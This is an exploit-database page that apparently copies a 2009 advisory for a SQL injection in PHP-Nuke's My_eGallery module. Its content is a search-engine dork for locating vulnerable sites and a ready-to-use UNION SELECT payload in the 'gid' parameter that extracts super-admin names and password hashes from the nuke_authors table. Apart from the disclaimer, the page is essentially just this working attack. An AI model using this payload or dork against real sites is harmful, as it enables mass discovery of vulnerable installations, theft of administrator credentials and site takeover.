PHP-Nuke My_eGallery "gid" Remote SQL Injection

CVE	Category	Price	Severity

Author	Risk	Exploitation Type	Date

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2009080205

Below is a copy:

Aria-Security Team

http://Aria-Security.Net

-----------------------------

Shoutz: Aura, Null, imm02tal, Kinglet, and our staff

PHP-Nuke My_eGallery "gid" Remote SQL Injection

Dork: inurl:"modules.php?name=My_eGallery"

modules.php?op=modload&name=My_eGallery&file=index&do=showgall&gid=-1/**
/union/**/select/**/aid,pwd/**/from/**/nuke_authors/**/where/**/radminsu
per=1/*

The-0utl4w

From Aria-Security.Net

Original Link: http://forum.aria-security.net/showthread.php?p=1490

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum